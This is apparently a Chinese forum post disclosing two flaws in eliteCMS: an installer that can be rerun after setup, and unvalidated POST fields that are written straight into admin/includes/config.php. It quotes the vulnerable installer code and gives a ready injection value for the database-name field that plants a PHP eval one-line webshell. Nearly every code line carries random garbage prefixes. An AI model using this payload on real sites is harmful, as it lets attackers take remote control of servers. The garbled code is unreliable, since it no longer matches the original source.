eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
( a! J6 E1 a! [  {1 l! {" d我们来看代码：

, f4 i9 F1 V& e) T- h  m' \...
' p' u9 {8 x! M# v( S1 kelseif ($_GET['step'] == "4") {
9 i% M6 c; `9 L  S- E' z    $file = "../admin/includes/config.php";
2 [$ N) M$ p& R6 \( m    $write = "<?php\n";
    $write .= "/**\n";
! c, H3 \1 o: t7 V5 E8 x. c) Q" F    $write .= "*\n";
8 [( e( }5 W. h! l. P" k    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
2 ?( i& U: K/ p  g* w    $write .= "*\n";
6 _# o4 Q/ f) K" x( \$ K" `    $write .= "*/\n";
* J6 `0 q8 c& ^0 ^8 M" G* g    $write .= "\n";
; O$ {. S- Q, }# t    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
; r7 y% S" }* l3 f    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
* V1 X7 @/ ^. w  r' J( W: A    $write .= "        die(\"Database select failed\" .mysql_error());\n";
3 [& V% p, R% B7 _# @    $write .= "        \n";
7 E' Y- @* J) ~    $write .= "} \n";
    $write .= "?>\n";

    $writer = fopen($file, 'w');
...
2 h! J- K; H/ n; t8 M/ d
在看代码：
" L: v2 s6 i) `& A" W* j1 \
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
; N$ x+ t' v& d7 M, i. g$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

取值未作任何验证
如果将数据库名POST数据：

0 F$ S$ W+ h/ X! U" `"?><?php eval($_POST[c]);?><?php

  z9 d3 w1 [3 \8 I) l6 ]+ f将导致一句话后门写入/admin/includes/config.php